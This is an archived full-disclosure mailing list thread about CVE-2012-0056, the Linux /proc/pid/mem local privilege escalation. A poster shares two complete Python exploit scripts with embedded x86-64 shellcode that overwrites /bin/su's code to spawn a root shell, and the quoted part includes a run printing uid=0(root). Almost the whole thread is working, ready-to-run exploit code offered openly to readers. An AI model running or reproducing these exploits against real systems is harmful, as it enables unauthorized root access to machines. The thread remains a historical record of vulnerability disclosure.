full-disclosure - Re: Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

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Message-ID: <CAE6fNrL=v+7GUa2snu_ExEUNh5QEaVqyBTATEtf6c=H7RECokA@mail.gmail.com>
Date: Mon, 23 Jan 2012 03:46:09 +0100
From: sd <sd@...ksheep.org>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: Linux Local Root -- CVE-2012-0056 -- Detailed
	Write-up

2012/1/23 Jason A. Donenfeld <Jason@...c4.com>:
> NICE! Well, I guess posting that blog post defeated the point of not
> publishing. :-D

Thanks for compliance with first full-disclosure famwhoring rule:
always post warez to make kids happy! :)

On a related note, here goes my "private" version which relaxes the
rules regarding file permissions on /bin/su (ie not world readable).
This is to point out you can just overwrite 8kb of .text (default
stderr buffer, more is possible, but without mere nops) instead of
juggling with objdump.

!/usr/bin/python
# CVE-2012-0056 amd64
# sd@...ksheep.org
#
# hg clone https://code.google.com/p/python-passfd
# cd python-passfd; ./setup.py build_ext --inplace; cd src
# mv ~/hurrdurr.py .
# ./hurrdurr.py
from socket import *
from passfd import *
from os import *
from socket import *
from sys import *
if argv[-1]=='hax':
        sk=int(argv[1])
        fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
        lseek(fd,0x401000,0)
        sendfd(sk,fd)
else:
        a,b=socketpair()
        if not fork():
                execl("/usr/bin/python","python",
                      __file__,str(a.fileno()),'hax')
        dup2(recvfd(b)[0],2)
        execl("/bin/su","su",("\x90"*8000)+"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
                "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
                "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
                "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");



>
> So, here's my code:
>  http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
>
> I wrote the shellcode by hand too, and you can grab the 32 and 64 bit
> versions from that same tree.
>
> Have fun.
>
>
>
> BTW, before I'm asked, the reason why I don't hard code 12 for the
> length of the su error string is that it's different on different
> distros.
>
> On Mon, Jan 23, 2012 at 02:14, sd <sd@...ksheep.org> wrote:
>> 2012/1/23 Jason A. Donenfeld <Jason@...c4.com>:
>>> Server presently DoS'd, or dreamhost is tweaking again.
>>
>> boring tl;dr - don't play kaminsky on us :)
>>
>> #!/usr/bin/python
>> # CVE-2012-0056 amd64
>> # sd@...ksheep.org
>> #
>> # hg clone https://code.google.com/p/python-passfd
>> # cd python-passfd; ./setup.py build_ext --inplace; cd src
>> # mv ~/hurrdurr.py .
>> # ./hurrdurr.py `objdump -d /bin/su|grep 'exit@...'|head -n 1|cut -d '
>> ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
>> from socket import *
>> from passfd import *
>> from os import *
>> from socket import *
>> from sys import *
>> from time import *
>> if argv[-1]=='hax':
>>        sk=int(argv[1])
>>        fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
>>        lseek(fd,int(argv[2].split('x')[-1],16)-12,0)
>>        sendfd(sk,fd)
>>        sleep(1)
>> else:
>>        a,b=socketpair()
>>        if not fork():
>>                execl("/usr/bin/python","python",
>>                      __file__,str(a.fileno()),argv[1],'hax')
>>        dup2(recvfd(b)[0],2)
>>        execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
>>                "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
>>                "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
>>                "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
>>
>> --
>> ./hurrdurr.py `objdump -d /bin/su|grep 'exit@...'|head -n 1|cut -d ' '
>> -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
>> id
>> uid=0(root) gid=1000(sd)
>> groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),110(netdev),125(lastfm),1000(sd)

View attachment "hurrdurr.py" of type "text/x-python" (814 bytes)

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